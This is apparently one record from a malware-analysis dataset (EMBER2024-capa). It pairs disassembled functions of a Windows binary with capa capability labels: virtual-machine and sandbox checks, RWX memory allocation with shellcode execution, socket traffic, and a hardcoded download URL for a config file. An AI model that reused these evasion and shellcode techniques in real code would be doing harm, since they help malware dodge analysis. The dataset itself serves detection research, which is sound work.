joyce8/EMBER2024-capa huggingface dataset:
Function at 0x477310
Capabilities:
Get common file path

Disassembly:
mov eax, 0x4b0ec8
call fcn.004acfc0
sub esp, 0x214
mov eax, dword [0x4df350]
push ebx
push esi
mov esi, 0x4df350
push edi
mov ecx, esi
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x14], eax
xor edi, edi
mov dword [ebp - 4], edi
mov eax, dword [0x4df350]
mov ecx, esi
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x10], eax
push 0x206
lea eax, [ebp - 0x21e]
push edi
mov byte [ebp - 4], 1
push eax
mov word [ebp - 0x220], di
call fcn.0048c840
add esp, 0xc
push edi
call fcn.00491d79
pop ecx
push edx
push eax
push str.http:__2398.35go.net_defend_o1_jcqgx.ini
lea eax, [ebp - 0x14]
call fcn.00404b34
mov esi, dword [ebp - 0x14]
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
push esi
call fcn.0045c150
test eax, eax
mov ebx, dword [ebp - 0x10]
pop ecx
pop ecx
jne 0x477408
cmp dword [ebx - 0xc], edi
je 0x477408
lea eax, [ebp - 0x220]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x477408
push str.jcqgx.ini
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x220]
push eax
add edi, 0x24
push edi
call fcn.00408167
push dword [edi]
lea eax, [ebp - 0x10]
call fcn.0045dc85
test eax, eax
mov eax, dword [ebp - 0x10]
pop ecx
jne 0x4773f3
add eax, 0xfffffff0
jmp 0x47740b
add eax, 0xfffffff0
call fcn.00405148
lea eax, [esi - 0x10]
call fcn.00405148
xor eax, eax
inc eax
jmp 0x47741a
lea eax, [ebx - 0x10]
call fcn.00405148
lea eax, [esi - 0x10]
call fcn.00405148
xor eax, eax
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret 4
Function at 0x477813
Capabilities:
Check for sandbox and av modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xcc
xor eax, eax
push esi
mov esi, dword [ebp + 8]
mov dword [esi], eax
push edi
mov dword [ebx], eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
call fcn.00477c76
xor edi, edi
inc edi
test eax, eax
je 0x47783f
mov dword [ebp - 4], edi
mov dword [ebp - 8], edi
lea ecx, [ebp + 0xb]
call fcn.00477ccf
test eax, eax
jne 0x477863
lea ecx, [ebp + 0xb]
call fcn.00477cfd
test eax, eax
jne 0x477863
lea ecx, [ebp + 0xb]
call fcn.00477d2b
test eax, eax
je 0x477867
or dword [ebp - 4], 2
call fcn.00477da5
test eax, eax
je 0x477877
or dword [ebp - 4], 4
mov dword [ebp - 8], edi
cmp dword [ebp - 8], 0
je 0x47788e
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 4]
mov dword [esi], edi
mov dword [ebx], edi
mov dword [eax], ecx
jmp 0x477999
lea esi, [ebp - 4]
call fcn.00477e76
test eax, eax
je 0x4778b2
mov eax, dword [ebp + 8]
mov dword [eax], edi
mov dword [ebx], 2
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
jmp 0x477999
lea esi, [ebp - 4]
call fcn.00477eb8
test eax, eax
je 0x4778cb
mov eax, dword [ebp + 8]
mov dword [eax], edi
mov dword [ebx], 3
jmp 0x4778a5
call fcn.0047831c
test al, al
jne 0x4778e6
call fcn.004782e1
test al, al
jne 0x4778e6
call fcn.00478249
test al, al
je 0x4778f3
mov eax, dword [ebp + 8]
mov dword [eax], edi
mov dword [ebx], 4
jmp 0x4778a5
lea esi, [ebp - 0xcc]
mov dword [ebp - 8], 3
call fcn.00478489
lea ecx, [ebp - 8]
push ecx
push eax
call fcn.00478513
test eax, eax
je 0x47794d
mov eax, dword [ebp - 8]
test eax, eax
je 0x477923
cmp eax, edi
je 0x477923
cmp eax, 2
jne 0x47794d
cmp eax, edi
mov ecx, dword [ebp + 8]
mov dword [ecx], edi
mov dword [ebx], 5
jne 0x47793d
mov eax, dword [ebp + 0xc]
mov dword [eax], 0x3001
jmp 0x477999
cmp eax, 2
jne 0x477999
mov eax, dword [ebp + 0xc]
mov dword [eax], 0x3002
jmp 0x477999
push str.SbieDll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x477969
mov eax, dword [ebp + 8]
mov dword [eax], edi
mov dword [ebx], 6
jmp 0x477993
call fcn.0047799f
test eax, eax
je 0x47797f
mov eax, dword [ebp + 8]
mov dword [eax], edi
mov dword [ebx], 7
jmp 0x477993
call fcn.00477a42
test eax, eax
je 0x477999
mov eax, dword [ebp + 8]
mov dword [eax], edi
mov dword [ebx], 8
mov eax, dword [ebp + 0xc]
and dword [eax], 0
mov eax, edi
pop edi
pop esi
leave
ret
Function at 0x477f01
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
mov eax, dword [0x4d933c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0x228
lea eax, [ebp - 0x22c]
push 0
push eax
xor bl, bl
call fcn.0048c840
add esp, 0xc
push 0
push 2
mov dword [ebp - 0x230], 0x22c
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
je 0x477f83
lea eax, [ebp - 0x230]
push eax
push esi
call sub.KERNEL32.dll_Process32FirstW
jmp 0x477f7b
lea eax, [ebp - 0x20c]
push eax
push str.vmusrvc.exe
call fcn.0048e991
test eax, eax
pop ecx
pop ecx
je 0x477f81
lea eax, [ebp - 0x230]
push eax
push esi
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x477f57
jmp 0x477f83
mov bl, 1
test esi, esi
je 0x477f8e
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop esi
mov al, bl
xor ecx, ebp
pop ebx
call fcn.0049486b
leave
ret

Function at 0x477f9e
Capabilities:
Check if file exists
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x3a0]
sub esp, 0x420
mov eax, dword [0x4d933c]
xor eax, ebp
mov dword [ebp + 0x39c], eax
push ebx
push esi
push edi
mov edi, 0x208
xor ebx, ebx
push edi
lea eax, [ebp + 0x192]
push ebx
push eax
mov word [ebp + 0x190], bx
call fcn.0048c840
add esp, 0xc
mov esi, 0x104
push esi
lea eax, [ebp + 0x190]
push eax
mov byte [ebp - 0x7d], bl
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
test eax, eax
jbe 0x478057
lea eax, [ebp + 0x190]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashW]
and word [ebp - 0x7c], 0
push edi
lea eax, [ebp - 0x7a]
push 0
push eax
call fcn.0048c840
push 0xffffffffffffffff
lea eax, [ebp + 0x190]
push eax
lea eax, [ebp - 0x7c]
push esi
push eax
call fcn.0048fc76
push 0xffffffffffffffff
push dword [ebx + 0x4deed4]
lea eax, [ebp - 0x7c]
push esi
push eax
call fcn.004acd46
add esp, 0x2c
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x478053
add ebx, 4
cmp ebx, 0x14
jb 0x478002
jmp 0x478057
mov byte [ebp - 0x7d], 1
mov ecx, dword [ebp + 0x39c]
mov al, byte [ebp - 0x7d]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0049486b
add ebp, 0x3a0
leave
ret
Function at 0x478149
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0x1ac]
sub esp, 0x22c
mov eax, dword [0x4d933c]
xor eax, ebp
mov dword [ebp + 0x1a8], eax
push ebx
push esi
xor ebx, ebx
push 0x206
lea eax, [ebp - 0x5e]
push ebx
push eax
mov byte [ebp - 0x61], bl
mov dword [ebp - 0x6c], ebx
mov word [ebp - 0x60], bx
call fcn.0048c840
mov esi, str.DiskVirtual_HD
push esi
mov dword [ebp - 0x70], 0x104
call fcn.0048c8bf
add esp, 0x10
mov dword [ebp - 0x78], eax
lea eax, [ebp - 0x74]
push eax
push 0x20019
push ebx
push str.SYSTEMCurrentControlSetEnumIDE
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x74], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, ebx
jne 0x47822f
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x68], eax
lea eax, [ebp - 0x80]
push eax
push ebx
push ebx
push ebx
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x60]
push eax
push dword [ebp - 0x6c]
push dword [ebp - 0x68]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
inc dword [ebp - 0x6c]
test eax, eax
jne 0x478221
cmp word [ebp - 0x60], bx
je 0x478202
mov eax, dword [ebp - 0x78]
cmp dword [ebp - 0x70], eax
jb 0x478202
push eax
lea eax, [ebp - 0x60]
push esi
push eax
call fcn.00491e9d
add esp, 0xc
test eax, eax
je 0x47821d
push 0x208
lea eax, [ebp - 0x60]
push ebx
push eax
call fcn.0048c840
add esp, 0xc
mov dword [ebp - 0x70], 0x104
jmp 0x4781c0
mov byte [ebp - 0x61], 1
cmp dword [ebp - 0x68], ebx
je 0x47822f
push dword [ebp - 0x68]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp + 0x1a8]
mov al, byte [ebp - 0x61]
pop esi
xor ecx, ebp
pop ebx
call fcn.0049486b
add ebp, 0x1ac
leave
ret

Function at 0x47831c
Capabilities:
Check if file exists
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x3a0]
sub esp, 0x420
mov eax, dword [0x4d933c]
xor eax, ebp
mov dword [ebp + 0x39c], eax
push ebx
push esi
push edi
mov edi, 0x208
xor ebx, ebx
push edi
lea eax, [ebp + 0x192]
push ebx
push eax
mov word [ebp + 0x190], bx
call fcn.0048c840
add esp, 0xc
mov esi, 0x104
push esi
lea eax, [ebp + 0x190]
push eax
mov byte [ebp - 0x7d], bl
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
test eax, eax
jbe 0x4783d5
lea eax, [ebp + 0x190]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashW]
and word [ebp - 0x7c], 0
push edi
lea eax, [ebp - 0x7a]
push 0
push eax
call fcn.0048c840
push 0xffffffffffffffff
lea eax, [ebp + 0x190]
push eax
lea eax, [ebp - 0x7c]
push esi
push eax
call fcn.0048fc76
push 0xffffffffffffffff
push dword [ebx + 0x4deef8]
lea eax, [ebp - 0x7c]
push esi
push eax
call fcn.004acd46
add esp, 0x2c
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x4783d1
add ebx, 4
cmp ebx, 4
jb 0x478380
jmp 0x4783d5
mov byte [ebp - 0x7d], 1
mov ecx, dword [ebp + 0x39c]
mov al, byte [ebp - 0x7d]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0049486b
add ebp, 0x3a0
leave
ret
Function at 0x4783f0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
lea eax, [ebp - 8]
push eax
push 0x20019
xor ebx, ebx
push ebx
push dword [ebp + 8]
mov dword [ebp - 8], ebx
push reloc.OLEAUT32.dll_SysReAllocString
mov byte [ebp - 1], bl
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x478420
mov byte [ebp - 1], bl
jmp 0x478483
push esi
push 0x80
call fcn.0048fb7b
pop ecx
mov esi, eax
lea eax, [ebp - 0xc]
push eax
push esi
lea eax, [ebp - 0x10]
push eax
push ebx
push dword [ebp + 0xc]
mov dword [ebp - 0x10], 1
push dword [ebp - 8]
mov dword [ebp - 0xc], 0x50
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x47845b
mov byte [ebp - 1], bl
jmp 0x47846e
push dword [ebp + 0x10]
push esi
call fcn.0048ea8d
test eax, eax
pop ecx
pop ecx
je 0x47846e
mov byte [ebp - 1], 1
cmp esi, ebx
je 0x478479
push esi
call fcn.0048c7af
pop ecx
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov al, byte [ebp - 1]
pop ebx
leave
ret

Function at 0x478513
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0x1b0]
sub esp, 0x230
mov eax, dword [0x4d933c]
xor eax, ebp
mov dword [ebp + 0x1ac], eax
mov eax, dword [ebp + 0x1b8]
push edi
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp + 0x1bc]
xor edi, edi
push 0x206
mov dword [ebp - 0x78], eax
lea eax, [ebp - 0x5a]
push edi
push eax
mov dword [ebp - 0x74], edi
mov dword [ebp - 0x68], edi
mov word [ebp - 0x5c], di
call fcn.0048c840
add esp, 0xc
lea eax, [ebp - 0x70]
push eax
push 0x20019
push edi
push str.SYSTEMCurrentControlSetEnumPCI
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x60], 0x104
mov dword [ebp - 0x70], edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, edi
jne 0x478636
mov eax, dword [ebp - 0x70]
push ebx
mov dword [ebp - 0x64], eax
push esi
lea eax, [ebp - 0x80]
push eax
push edi
push edi
push edi
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0x5c]
push eax
push dword [ebp - 0x68]
push dword [ebp - 0x64]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
inc dword [ebp - 0x68]
test eax, eax
jne 0x478626
mov ebx, dword [ebp - 0x6c]
xor esi, esi
inc esi
add ebx, 0x48
cmp word [ebp - 0x5c], di
je 0x4785ec
cmp word [ebx], di
je 0x4785ec
push ebx
call fcn.0048c8bf
cmp eax, 1
pop ecx
jb 0x4785ec
cmp dword [ebp - 0x60], eax
jbe 0x4785ec
push eax
lea eax, [ebp - 0x5c]
push ebx
push eax
call fcn.00491e9d
add esp, 0xc
test eax, eax
je 0x478610
inc esi
add ebx, 0x40
cmp esi, 3
jb 0x4785be
push 0x208
lea eax, [ebp - 0x5c]
push edi
push eax
call fcn.0048c840
add esp, 0xc
mov dword [ebp - 0x60], 0x104
jmp 0x478593
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x78]
shl esi, 6
mov eax, dword [esi + eax + 4]
mov dword [ecx], eax
mov dword [ebp - 0x74], 1
cmp dword [ebp - 0x64], edi
pop esi
pop ebx
je 0x478636
push dword [ebp - 0x64]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp + 0x1ac]
mov eax, dword [ebp - 0x74]
xor ecx, ebp
pop edi
call fcn.0049486b
add ebp, 0x1b0
leave
ret 8
Function at 0x478651
Capabilities:
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x190]
sub esp, 0x210
mov eax, dword [0x4d933c]
xor eax, ebp
mov dword [ebp + 0x18c], eax
push esi
mov esi, ecx
mov ecx, dword [esi]
xor eax, eax
cmp dword [ecx - 0xc], eax
je 0x4787c7
push ebx
push edi
push 0x208
push eax
mov word [ebp - 0x80], ax
lea eax, [ebp - 0x7e]
push eax
call fcn.0048c840
add esp, 0xc
mov edi, str._ALLUSERSPROFILE_
push edi
xor ecx, ecx
call fcn.00407c90
or ebx, 0xffffffff
cmp eax, ebx
jne 0x478792
mov edi, str._APPDATA_
push edi
xor ecx, ecx
call fcn.00407c90
cmp eax, ebx
jne 0x478792
mov edi, str._TEMP_
push edi
xor ecx, ecx
call fcn.00407c90
cmp eax, ebx
jne 0x478792
mov edi, str._SYSTEM_
push edi
xor ecx, ecx
call fcn.00407c90
cmp eax, ebx
je 0x47871a
push 0x104
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
jbe 0x4787a6
lea eax, [ebp - 0x80]
push eax
push edi
push esi
call fcn.0045ade1
mov eax, esi
call fcn.00407e90
mov edi, 0x4c07d4
jmp 0x4787b6
mov edi, str._WINDOWS_
push edi
xor ecx, ecx
call fcn.00407c90
cmp eax, ebx
je 0x47873c
push 0x104
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
jmp 0x4786f6
mov edi, str._CUR_DIR_
push edi
xor ecx, ecx
call fcn.00407c90
cmp eax, ebx
je 0x47877d
push 0x20a
lea eax, [ebp - 0x80]
push 0
push eax
call fcn.0048c840
add esp, 0xc
push 0x105
lea eax, [ebp - 0x80]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
jmp 0x4786fe
mov edi, 0x4c571c
push edi
xor ecx, ecx
call fcn.00407c90
cmp eax, ebx
je 0x478709
lea eax, [ebp - 0x80]
push eax
push edi
call fcn.004787dd
test eax, eax
pop ecx
pop ecx
jne 0x4786fe
xor eax, eax
jmp 0x4787c5
push 0x4c0af0
push edi
push esi
call fcn.0045ade1
push edi
xor ecx, ecx
call fcn.00407c90
cmp eax, ebx
jne 0x4787aa
xor eax, eax
inc eax
pop edi
pop ebx
mov ecx, dword [ebp + 0x18c]
xor ecx, ebp
pop esi
call fcn.0049486b
add ebp, 0x190
leave
ret
Function at 0x4787dd
Capabilities:
Query environment variable

Disassembly:
push 0x14
push 0x4cd3a0
call fcn.0049759c
xor eax, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp + 8], eax
je 0x47888e
cmp dword [ebp + 0xc], eax
je 0x47888e
push eax
push eax
push dword [ebp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
call edi
mov esi, eax
cmp esi, 1
jb 0x47888e
mov ebx, 0x103
cmp esi, ebx
ja 0x47888e
and dword [ebp - 4], 0
xor ecx, ecx
push 2
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00478ace
pop ecx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x1c], eax
test eax, eax
je 0x478887
lea ecx, [esi + esi]
push ecx
push 0
push eax
call fcn.0048c840
add esp, 0xc
push esi
push dword [ebp - 0x24]
push dword [ebp + 8]
call edi
test eax, eax
je 0x478887
cmp eax, ebx
ja 0x478887
push eax
push dword [ebp - 0x24]
push ebx
push dword [ebp + 0xc]
call fcn.0048fc76
add esp, 0x10
mov dword [ebp - 0x20], 1
jmp 0x478887
mov dword [ebp - 4], 0xfffffffe
cmp dword [ebp - 0x1c], 0
je 0x47889d
push dword [ebp - 0x1c]
call fcn.0048c8ba
pop ecx
mov eax, dword [ebp - 0x20]
call fcn.004975e1
ret

Function at 0x4788a6
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov esi, eax
test esi, esi
je 0x47894a
push edi
push 1
push esi
call fcn.0048e699
mov edi, eax
test edi, edi
pop ecx
pop ecx
je 0x478947
push edi
push esi
push dword [ebp - 8]
push dword [ebp + 8]
call sub.VERSION.dll_GetFileVersionInfoW
test eax, eax
je 0x478940
and dword [ebp - 4], 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
push 0x4c13c8
push edi
call sub.VERSION.dll_VerQueryValueW
test eax, eax
je 0x478940
cmp dword [ebp - 4], 0
je 0x478940
push 0x10
call fcn.00442cda
mov esi, eax
test esi, esi
pop ecx
je 0x478947
mov eax, dword [ebp - 4]
movzx ecx, word [eax + 2]
movzx eax, word [eax]
mov dword [esi + 8], ecx
lea ecx, [ebp - 0x10]
push ecx
mov dword [esi + 4], eax
lea eax, [esi + 0xc]
and dword [eax], 0
push eax
push 0x4c0af0
push edi
mov dword [esi], edi
call sub.VERSION.dll_VerQueryValueW
mov eax, esi
jmp 0x478949
push edi
call fcn.0048c7af
pop ecx
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x478964
Capabilities:
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
mov eax, dword [0x4d933c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x224], eax
mov ax, word [edi + 4]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
mov word [ebp - 0x14], ax
mov ax, word [edi + 8]
push esi
mov word [ebp - 0x12], ax
call ebx
mov word [ebp - 0x10], ax
mov ax, word [edi + 8]
mov word [ebp - 0xe], ax
mov ax, word [edi + 4]
mov word [ebp - 0xc], ax
mov word [ebp - 0xa], 0x4e4
call ebx
mov word [ebp - 8], ax
mov word [ebp - 6], 0x4e4
xor ebx, ebx
mov esi, 0x104
movzx eax, word [ebp + ebx*2 - 0x14]
movzx ecx, word [ebp + ebx*2 - 0x12]
inc ebx
push str.ProductName
movzx ecx, cx
push ecx
movzx eax, ax
push eax
push str.StringFileInfo_04x_04x_ls
push esi
lea eax, [ebp - 0x21c]
push esi
push eax
inc ebx
call fcn.0048ea3e
and dword [ebp - 0x220], 0
add esp, 0x1c
lea eax, [ebp - 0x228]
push eax
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x21c]
push eax
push dword [edi]
call sub.VERSION.dll_VerQueryValueW
test eax, eax
je 0x478a26
cmp dword [ebp - 0x220], 0
jne 0x478a3d
cmp ebx, 8
jb 0x4789c7
xor al, al
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.0049486b
leave
ret 4
mov esi, dword [ebp - 0x220]
push esi
call fcn.0048c8bf
pop ecx
mov ecx, esi
mov esi, dword [ebp - 0x224]
call fcn.00434da3
mov al, 1
jmp 0x478a2d

Function at 0x4795c7
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x4d933c]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.00479506
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.0048c840
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x479616
cmp dword [ebp - 0x1c], 5
jb 0x47962e
jmp 0x47962a
cmp dword [ebp - 0x10], 1
jne 0x47962e
cmp dword [ebp - 0x1c], 4
ja 0x47962a
jne 0x47962e
cmp dword [ebp - 0x18], 0
jbe 0x47962e
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x4b3a28
call fcn.00413203
test eax, eax
jge 0x47964f
mov byte [0x4e005c], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0049486b
add ebp, 0x78
leave
ret
Function at 0x479801
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x4df338], 0
push esi
jne 0x479774
call fcn.0047969f
test eax, eax
je 0x4797b7
mov eax, dword [0x4df338]
cmp eax, 1
jne 0x479795
push 0xd
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x4797b7
pop esi
ret
push eax
call dword [0x4df340]
test eax, eax
jne 0x4797ff
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x4797bb
xor eax, eax
pop esi
ret
mov eax, dword [esi]
push edi
push dword [0x4df338]
call dword [0x4df340]
mov edi, eax
test edi, edi
je 0x4797e2
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, edi
jmp 0x4797fe
lea edi, [esi + 0xff0]
push esi
push dword [0x4df338]
call dword [0x4df33c]
add esi, 0x10
cmp esi, edi
jb 0x4797e8
mov eax, esi
pop edi
pop esi
ret
jmp 0x479761

Function at 0x479d1c
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x194
mov eax, dword [0x4d933c]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x194]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x479d5d
cmp byte [ebp - 0x194], 2
jne 0x479d57
cmp byte [ebp - 0x193], 2
je 0x479d60
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 2
pop eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0049486b
leave
ret

Function at 0x481a0e
Capabilities:
Receive data
Receive data on socket

Disassembly:
push 0
push dword [esp + 0x10]
push dword [esp + 0x10]
push dword [esp + 0x10]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
jne 0x481a3d
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
sub eax, 0x2733
neg eax
sbb eax, eax
and eax, 0xffffffe7
add eax, 0x51
ret
mov ecx, dword [esp + 0x10]
mov dword [ecx], eax
xor eax, eax
ret

Function at 0x481b5e
Capabilities:
Write file on windows

Disassembly:
mov ecx, dword [esi + 0x164]
test ecx, ecx
je 0x481b7e
push dword [esi + 0xf4]
push dword [esp + 0xc]
push dword [esp + 0xc]
push eax
push esi
call ecx
add esp, 0x14
ret
test eax, eax
jl 0x481bb7
cmp eax, 2
jg 0x481bb7
push dword [esi + 0xf0]
imul eax, eax, 3
push 1
add eax, 0x4b4838
push 2
push eax
call fcn.004920a0
push dword [esi + 0xf0]
push 1
push dword [esp + 0x20]
push dword [esp + 0x20]
call fcn.004920a0
add esp, 0x20
xor eax, eax
ret
Function at 0x481d7d
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
mov eax, dword [esi + eax*4 + 0x12c]
push edi
push 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
call dword [sym.imp.WS2_32.dll_send]
mov edi, dword [ebp + 0x18]
and dword [edi], 0
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
jne 0x481def
push ebx
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ebx, eax
cmp ebx, 0x2733
jne 0x481dc9
and dword [ebp + 8], 0
mov dword [edi], 0x51
jmp 0x481dee
push ebx
push esi
call fcn.0048af2e
push eax
push str.Send_failure:__s
push dword [esi]
call fcn.00481ce9
mov eax, dword [esi]
mov dword [eax + 0x855c], ebx
add esp, 0x14
mov dword [edi], 0x37
pop ebx
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebp
ret